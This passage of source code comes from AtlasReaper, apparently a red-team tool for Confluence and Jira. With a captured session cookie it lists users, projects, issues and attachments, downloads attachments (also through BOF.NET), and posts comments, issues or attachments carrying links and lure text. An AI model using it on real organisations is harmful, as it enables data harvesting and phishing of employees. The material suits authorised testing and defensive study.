" + options.Text + "

\r\n250"; 109 | } 110 | 111 | Page page = webRequestHandler.GetJson(pageUrl, options.Cookie); 112 | 113 | PutBody putBody = new PutBody(); 114 | 115 | putBody.Id = page.Id; 116 | putBody.Status = page.Status; 117 | putBody.Title = page.Title; 118 | putBody.SpaceId = page.SpaceId; 119 | putBody.Body = page.Body; 120 | putBody.Body.Storage.Value += attachText; 121 | putBody.Body.Storage.Representation = "storage"; 122 | putBody.Version = page.Version; 123 | putBody.Version.Number += 1; 124 | 125 | string serializedPage = JsonConvert.SerializeObject(putBody); 126 | 127 | // PUT page 128 | webRequestHandler.PutJson(pageUrl, options.Cookie, serializedPage); 129 | 130 | // GET page 131 | page = webRequestHandler.GetJson(pageUrl, options.Cookie); 132 | Console.WriteLine("Attached file to page id: " + page.Id); 133 | Console.WriteLine("Output of " + page.Title + " after update."); 134 | Console.WriteLine(); 135 | Console.WriteLine(page.Body.Storage.Value); 136 | } 137 | 138 | internal RootAttachObject UploadFile(string url, ConfluenceOptions.AttachOptions options, string fileName) 139 | { 140 | FormData formData = new FormData 141 | { 142 | comment = options.Comment, 143 | file = File.ReadAllBytes(options.File) 144 | }; 145 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 146 | RootAttachObject attachmentObject = webRequestHandler.PostForm(url, options.Cookie, formData, fileName); 147 | 148 | return attachmentObject; 149 | } 150 | } 151 | 152 | public class FormData 153 | { 154 | public string comment { get; set; } 155 | public byte[] file { get; set; } 156 | } 157 | 158 | internal class RootAttachObject 159 | { 160 | [JsonProperty("results")] 161 | internal List Results { get; set; } 162 | 163 | [JsonProperty("totalSize")] 164 | internal int TotalSize { get; set; } 165 | 166 | [JsonProperty("_links")] 167 | internal _Links _Links { get; set; } 168 | } 169 | 170 | internal class AttachmentResult 171 | { 172 | [JsonProperty("id")] 173 | internal string Id { get; set; } 174 | 175 | [JsonProperty("title")] 176 | internal string Title { get; set; } 177 | 178 | [JsonProperty("metadata")] 179 | internal MetaData MetaData { get; set; } 180 | 181 | [JsonProperty("downloadLink")] 182 | internal string DownloadLink { get; set; } 183 | } 184 | 185 | internal class MetaData 186 | { 187 | [JsonProperty("mediaType")] 188 | internal string mediaType { get; set; } 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/Projects.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using Newtonsoft.Json; 6 | using AtlasReaper.Options; 7 | 8 | namespace AtlasReaper.Jira 9 | { 10 | class Projects 11 | { 12 | // List projects based on the provided options 13 | internal void ListProjects(JiraOptions.ListProjectsOptions options) 14 | { 15 | try 16 | { 17 | List projects = new List(); 18 | 19 | if (options.Limit != "50" && !options.All) 20 | { 21 | // Build the URL for listing projects based on limit 22 | string restUrl = "/rest/api/3/project/search?expand=description,insight,issueTypes&maxResults="; 23 | string url = options.Url + restUrl + options.Limit; 24 | RootProjectsObject projectsList = GetProjects(options, url); 25 | 26 | projects = SortProjects(options.sortBy, projectsList.Projects); 27 | } 28 | else if (options.All) 29 | { 30 | // List all projects 31 | string restUrl = "/rest/api/3/project/search?expand=description,insight,issueTypes"; 32 | string url = options.Url + restUrl; 33 | 34 | RootProjectsObject projectsList = GetProjects(options, url); 35 | projects.AddRange(projectsList.Projects); 36 | 37 | while (!projectsList.IsLast) 38 | { 39 | projectsList = GetProjects(options, projectsList.NextPage); 40 | projects.AddRange(projectsList.Projects); 41 | } 42 | 43 | projects = SortProjects(options.sortBy, projects); 44 | 45 | 46 | 47 | } 48 | else 49 | { 50 | // List projects 51 | string restUrl = "/rest/api/3/project/search?expand=description,insight,issueTypes"; 52 | string url = options.Url + restUrl; 53 | RootProjectsObject projectsList = GetProjects(options, url); 54 | projects = SortProjects(options.sortBy, projectsList.Projects); 55 | } 56 | 57 | if (options.outfile != null) 58 | { 59 | using (StreamWriter writer = new StreamWriter(options.outfile)) 60 | { 61 | PrintProjects(projects, writer); 62 | } 63 | } 64 | else 65 | { 66 | PrintProjects(projects, Console.Out); 67 | } 68 | } 69 | catch (Exception ex) 70 | { 71 | Console.WriteLine("Error occurred while listing projects: " + ex.Message); 72 | } 73 | 74 | } 75 | 76 | // Sort projects based on the provided sort option 77 | private List SortProjects(string sortBy, List projects) 78 | { 79 | try 80 | { 81 | switch (sortBy) 82 | { 83 | case "issues": 84 | projects = projects.OrderByDescending(o => o.Insight.TotalIssueCount).ToList(); 85 | return projects; 86 | case "updated": 87 | projects = projects = projects.OrderByDescending(o => o.Insight.LastIssueUpdateTime).ToList(); 88 | return projects; 89 | } 90 | return projects; 91 | } 92 | catch (Exception ex) 93 | { 94 | Console.WriteLine("Error occurred while sorting projects: " + ex.Message); 95 | return projects; 96 | } 97 | 98 | } 99 | 100 | // Get projects from the Jira API 101 | private RootProjectsObject GetProjects(JiraOptions.ListProjectsOptions options, string url) 102 | { 103 | try 104 | { 105 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 106 | RootProjectsObject projectsList = webRequestHandler.GetJson(url, options.Cookie); 107 | return projectsList; 108 | } 109 | catch (Exception ex) 110 | { 111 | Console.WriteLine("Error occurred while getting projects: " + ex.Message); 112 | return null; 113 | } 114 | 115 | } 116 | 117 | // Print the list of projects 118 | private void PrintProjects(List projects, TextWriter writer) 119 | { 120 | try 121 | { 122 | writer.WriteLine(); 123 | writer.WriteLine("Total projects = " + projects.Count.ToString()); 124 | writer.WriteLine(); 125 | 126 | for (int i = 0; i < projects.Count; i++) 127 | { 128 | Project project = projects[i]; 129 | writer.WriteLine(" Project Name : " + project.Name); 130 | writer.WriteLine(" Project Key : " + project.Key); 131 | writer.WriteLine(" Project Id : " + project.Id); 132 | writer.WriteLine(" Project Type : " + project.ProjectTypeKey); 133 | writer.WriteLine(" Last Issue Update : " + project.Insight.LastIssueUpdateTime); 134 | writer.WriteLine(" Total Issues : " + project.Insight.TotalIssueCount); 135 | writer.WriteLine(" Project Description : " + project.Description.Replace("\r\n", " ")); 136 | writer.WriteLine(" Project Issue Types : "); 137 | for (int j = 0; j < project.IssueTypes.Count; j++) 138 | { 139 | writer.WriteLine(" " +project.IssueTypes[j].Name); 140 | } 141 | writer.WriteLine(); 142 | } 143 | } 144 | catch (Exception ex) 145 | { 146 | Console.WriteLine("Error occurred while printing projects: " + ex.Message); 147 | } 148 | 149 | } 150 | } 151 | 152 | internal class RootProjectsObject 153 | { 154 | [JsonProperty("self")] 155 | internal string Self { get; set; } 156 | 157 | [JsonProperty("nextPage")] 158 | internal string NextPage { get; set; } 159 | 160 | [JsonProperty("total")] 161 | internal int Total { get; set; } 162 | 163 | [JsonProperty("isLast")] 164 | internal bool IsLast { get; set; } 165 | 166 | [JsonProperty("values")] 167 | internal List Projects { get; set; } 168 | } 169 | 170 | internal class Project 171 | { 172 | [JsonProperty("id")] 173 | internal string Id { get; set; } 174 | 175 | [JsonProperty("key")] 176 | internal string Key { get; set; } 177 | 178 | [JsonProperty("description")] 179 | internal string Description { get; set; } 180 | 181 | [JsonProperty("name")] 182 | internal string Name { get; set; } 183 | 184 | [JsonProperty("projectCategory")] 185 | internal ProjectCategory ProjectCategory { get; set; } 186 | 187 | [JsonProperty("projectTypeKey")] 188 | internal string ProjectTypeKey { get; set; } 189 | 190 | [JsonProperty("insight")] 191 | internal Insight Insight { get; set; } 192 | 193 | [JsonProperty("issueTypes")] 194 | internal List IssueTypes { get; set; } 195 | 196 | } 197 | 198 | internal class IssueType 199 | { 200 | [JsonProperty("self")] 201 | internal string Self { get; set; } 202 | [JsonProperty("id")] 203 | internal string Id { get; set; } 204 | [JsonProperty("description")] 205 | internal string Description { get; set; } 206 | [JsonProperty("name")] 207 | internal string Name { get; set; } 208 | } 209 | 210 | internal class ProjectCategory 211 | { 212 | [JsonProperty("name")] 213 | internal string Name { get; set; } 214 | 215 | [JsonProperty("description")] 216 | internal string description { get; set; } 217 | 218 | [JsonProperty("id")] 219 | internal string Id { get; set; } 220 | } 221 | 222 | internal class Insight 223 | { 224 | [JsonProperty("totalIssueCount")] 225 | internal int TotalIssueCount { get; set; } 226 | 227 | [JsonProperty("lastIssueUpdateTime")] 228 | internal string LastIssueUpdateTime { get; set; } 229 | } 230 | } 231 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /AtlasReaper/AtlasReaper.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {05C1EA18-581E-48DE-B25D-D7DF8498C463} 9 | Exe 10 | AtlasReaper 11 | AtlasReaper 12 | v4.8 13 | 512 14 | true 15 | true 16 | false 17 | publish\ 18 | true 19 | Disk 20 | false 21 | Foreground 22 | 7 23 | Days 24 | false 25 | false 26 | true 27 | 0 28 | 1.0.0.%2a 29 | false 30 | true 31 | 32 | 33 | 34 | 35 | 36 | AnyCPU 37 | true 38 | full 39 | false 40 | bin\Debug\ 41 | DEBUG;TRACE 42 | prompt 43 | 4 44 | false 45 | 46 | 47 | AnyCPU 48 | pdbonly 49 | true 50 | bin\Release\ 51 | TRACE 52 | prompt 53 | 4 54 | false 55 | 56 | 57 | true 58 | bin\x64\Debug\ 59 | DEBUG;TRACE 60 | full 61 | x64 62 | 7.3 63 | prompt 64 | true 65 | 66 | 67 | bin\x64\Release\ 68 | TRACE 69 | true 70 | pdbonly 71 | x64 72 | 7.3 73 | prompt 74 | true 75 | 76 | 77 | 78 | ..\packages\BOFNET.1.2.0\lib\net48\BOFNET.dll 79 | 80 | 81 | ..\packages\CommandLineParser.2.9.1\lib\net45\CommandLine.dll 82 | 83 | 84 | ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll 85 | 86 | 87 | ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | False 144 | Microsoft .NET Framework 4.7.2 %28x86 and x64%29 145 | true 146 | 147 | 148 | False 149 | .NET Framework 3.5 SP1 150 | false 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 161 | 162 | 163 | 164 | 165 | 166 | 167 | -------------------------------------------------------------------------------- /AtlasReaper/Options/JiraOptions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using CommandLine; 3 | using AtlasReaper.Utils; 4 | 5 | namespace AtlasReaper.Options 6 | { 7 | class JiraOptions 8 | { 9 | 10 | 11 | [Option('u', "url", Required = true, HelpText = "Jira URL")] 12 | public string Url { get; set; } 13 | 14 | [Option('c', "cookie", Required = false, Default = null, HelpText = "cloud.session.token")] 15 | public string Cookie { get; set; } 16 | 17 | internal string outfile; 18 | [Option('o', "output", Required = false, Default = null, HelpText = "Save output to file")] 19 | public string Outfile 20 | { 21 | get { return outfile; } 22 | set 23 | { 24 | if (value != null) 25 | { 26 | try 27 | { 28 | value = FileUtils.GetFileName(value); 29 | } 30 | catch (Exception ex) 31 | { 32 | throw new Exception(ex.Message); 33 | } 34 | } 35 | 36 | outfile = value; 37 | } 38 | } 39 | 40 | [Verb("addcomment", HelpText = "Add a comment to an issue")] 41 | internal class AddCommentOptions : JiraOptions 42 | { 43 | [Option("at", Required = false, HelpText = "User id to @ on the comment (get user id from the jira listusers command)")] 44 | public string At { get; set; } 45 | 46 | [Option('l', "link", Required = true, HelpText = "Url to link to")] 47 | public string Link { get; set; } 48 | 49 | [Option('m', "message", Required = false, HelpText = "Message to add to the issue comment (i.e. I need you to take a look at this)")] 50 | public string Message { get; set; } 51 | 52 | [Option('i', "issue", Required = true, HelpText = "Issue name")] 53 | public string Issue { get; set; } 54 | 55 | [Option('t', "text", Required = false, Default = "Here", HelpText = "Link text to display")] 56 | public string Text { get; set; } 57 | } 58 | 59 | [Verb("attach", HelpText = "Attach a file to an issue")] 60 | internal class AttachOptions : JiraOptions 61 | { 62 | [Option('a', "attachment", Required = false, HelpText = "Attachment Id to attach to page (if attachment is already created)")] 63 | public string AttachmentId { get; set; } 64 | 65 | [Option("comment", Required = false, Default = "untitled", HelpText = "Comment for uploaded file")] 66 | public string Comment { get; set; } 67 | 68 | [Option('f', "file", Required = false, HelpText = "File to attach")] 69 | public string File { get; set; } 70 | 71 | [Option('i', "issue", Required = false, HelpText = "Issue to add attachment")] 72 | public string Issue { get; set; } 73 | 74 | [Option('n', "name", Required = false, HelpText = "Name of file attachment. (Defaults to filename passed with -f/--file")] 75 | public string Name { get; set; } 76 | 77 | [Option('t', "text", Required = false, HelpText = "Text to add to page to provide context (e.g \"I uploaded this file, please take a look\")")] 78 | public string Text { get; set; } 79 | } 80 | 81 | [Verb("createissue", HelpText = "Create an issue")] 82 | internal class CreateIssueOptions : JiraOptions 83 | { 84 | [Option("at", Required = false, HelpText = "User id to @ on the comment (get user id from the jira listusers command)")] 85 | public string At { get; set; } 86 | 87 | [Option('i', "issue-type", Required = true, HelpText = "Issue type to create")] 88 | public string IssueType { get; set; } 89 | 90 | [Option('l', "link", Required = false, HelpText = "Url to link to")] 91 | public string Link { get; set; } 92 | 93 | [Option('m', "message", Required = false, HelpText = "Message to add to the issue (i.e. I need you to take a look at this)")] 94 | public string Message { get; set; } 95 | 96 | [Option('p', "project", Required = true, HelpText = "Project to create issue for")] 97 | public string Project { get; set; } 98 | 99 | [Option('s', "summary", Required = false, Default = "Looking for Solutions", HelpText = "Issue summary (title)")] 100 | public string Summary { get; set; } 101 | 102 | [Option('t', "text", Required = false, Default = "Here", HelpText = "Link text to display")] 103 | public string Text { get; set; } 104 | } 105 | 106 | [Verb("download", HelpText = "Download attachment(s)")] 107 | internal class DownloadOptions : JiraOptions 108 | { 109 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download (no spaces)")] 110 | public string Attachments { get; set; } 111 | 112 | [Option('o', "output-dir", Required = false, HelpText = "Directory to save downloads to")] 113 | public string OutputDir { get; set; } 114 | } 115 | 116 | [Verb("downloadBOFNET", HelpText = "Download attachment(s) through BOF.NET")] 117 | internal class DownloadBOFNETOptions : JiraOptions 118 | { 119 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download through BOF.NET (no spaces)")] 120 | public string Attachments { get; set; } 121 | } 122 | 123 | [Verb("search", HelpText = "Search issues")] 124 | internal class SearchIssuesOptions : JiraOptions 125 | { 126 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")] 127 | public bool All { get; set; } 128 | 129 | [Option("attachments", Required = false, Default = false, HelpText = "Include attachments")] 130 | public bool Attachments { get; set; } 131 | 132 | [Option("comments", Required = false, Default = false, HelpText = "Include Comments")] 133 | public bool Comments { get; set; } 134 | 135 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number of results to return")] 136 | public string Limit { get; set; } 137 | 138 | [Option('q', "query", Required = true, HelpText = "String or phrase to query")] 139 | public string Query { get; set; } 140 | } 141 | 142 | //Listattachments command options 143 | [Verb("listattachments", HelpText = "List Attachments")] 144 | internal class ListAttachmentsOptions : ConfluenceOptions 145 | { 146 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all attachments for supplied project id")] 147 | public bool All { get; set; } 148 | 149 | [Option("all-projects", Required = false, Default = false, HelpText = "Return attachments for all projects. WARNING!! This can make a lot of requests!")] 150 | public bool AllProjects { get; set; } 151 | 152 | [Option('i', "include", Required = false, HelpText = "Comma-separated list of extensions to include (e.g. png,jpeg)")] 153 | public string Include { get; set; } 154 | 155 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number or attachments to return")] 156 | public string Limit { get; set; } 157 | 158 | [Option('p', "project", Required = false, HelpText = "Project to return attachments for")] 159 | public string Project { get; set; } 160 | 161 | [Option('x', "exclude", Required = false, HelpText = "Comma-separated list of extensions to exclude (e.g. png,jpeg)")] 162 | public string Exclude { get; set; } 163 | } 164 | 165 | [Verb("listissues", HelpText = "List Issues")] 166 | internal class ListIssuesOptions : JiraOptions 167 | { 168 | 169 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")] 170 | public bool All { get; set; } 171 | 172 | [Option("attachments", Required = false, Default = false, HelpText = "Include attachments")] 173 | public bool Attachments { get; set; } 174 | 175 | [Option("comments", Required = false, Default = false, HelpText = "Include Comments")] 176 | public bool Comments { get; set; } 177 | 178 | [Option('i', "issue", Required = false, HelpText = "Issue to list")] 179 | public string Issue { get; set; } 180 | 181 | [Option('p', "project", Required = false, HelpText = "Project Key or Id to list issues from")] 182 | public string Project { get; set; } 183 | 184 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number of results to return")] 185 | public string Limit { get; set; } 186 | 187 | } 188 | 189 | [Verb("listprojects", HelpText = "List Jira Projects")] 190 | internal class ListProjectsOptions : JiraOptions 191 | { 192 | 193 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")] 194 | public bool All { get; set; } 195 | 196 | // Projects API only returns 50 for some reason 197 | [Option('l', "limit", Required = false, Default = "50", HelpText = "Number of results to return")] 198 | public string Limit { get; set; } 199 | 200 | internal string sortBy; 201 | 202 | [Option('s', "sortby", Required = false, Default = "issues", HelpText = "Sort By \"issues\" for total number of issues or \"updated\" for most recently updated issues")] 203 | public string SortBy 204 | { 205 | get => sortBy; 206 | set 207 | { 208 | if (value != "issues" && value != "updated") 209 | { 210 | throw new Exception("Invalid sort option. Use \"issues\" or \"updated\""); 211 | } 212 | sortBy = value; 213 | } 214 | } 215 | } 216 | 217 | [Verb("listusers", HelpText = "List Atlassian users")] 218 | internal class ListUsersOptions : JiraOptions 219 | { 220 | [Option('f', "full", Required = false, Default = false, HelpText = "Return display name and email")] 221 | public bool Full { get; set; } 222 | } 223 | 224 | 225 | } 226 | } 227 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/Attachments.cs: -------------------------------------------------------------------------------- 1 | using AtlasReaper.Options; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | 7 | namespace AtlasReaper.Jira 8 | { 9 | internal class Attachments 10 | { 11 | 12 | // GET /rest/api/3/search?jql=attachments+IS+NOT+EMPTY&fields=attachment 13 | 14 | // GET "/rest/api/3/search?jql=project+=+" + options.ProjectId + "AND+attachments+IS+NOT+EMPTY&fields=attachment" 15 | internal void ListAttachments(JiraOptions.ListAttachmentsOptions options) 16 | { 17 | try 18 | { 19 | List issues = new List(); 20 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 21 | // Building the url 22 | string restUrl = "/rest/api/3/search?jql="; 23 | string url = options.Url + restUrl; 24 | 25 | // GET all projects 26 | if (options.AllProjects) 27 | { 28 | url += "attachments+IS+NOT+EMPTY&fields=attachment,summary,status"; 29 | 30 | // GET all issues for all projects 31 | if (options.All) 32 | { 33 | url += "&maxResults=" + "100"; 34 | int startAt = 0; 35 | RootIssuesObject issuesList = GetIssues(url, options); 36 | 37 | issues.AddRange(issuesList.Issues); 38 | 39 | while (issues.Count < issuesList.Total) 40 | { 41 | startAt += 100; 42 | string nextUrl = url + "&startAt=" + startAt.ToString(); 43 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options); 44 | issues.AddRange(issuesListNext.Issues); 45 | } 46 | } 47 | // GET issues for all projects by limit 48 | else if (options.Limit != null) 49 | { 50 | url += "&maxResult=" + options.Limit; 51 | 52 | RootIssuesObject issuesList = GetIssues(url, options); 53 | 54 | issues.AddRange(issuesList.Issues); 55 | } 56 | } 57 | // GET issues with attachments for specfic project 58 | else if (options.Project != null) 59 | { 60 | url += "Project+=+" + options.Project + "+AND+attachments+IS+NOT+EMPTY&fields=attachment,summary,status"; 61 | 62 | // GET all issues 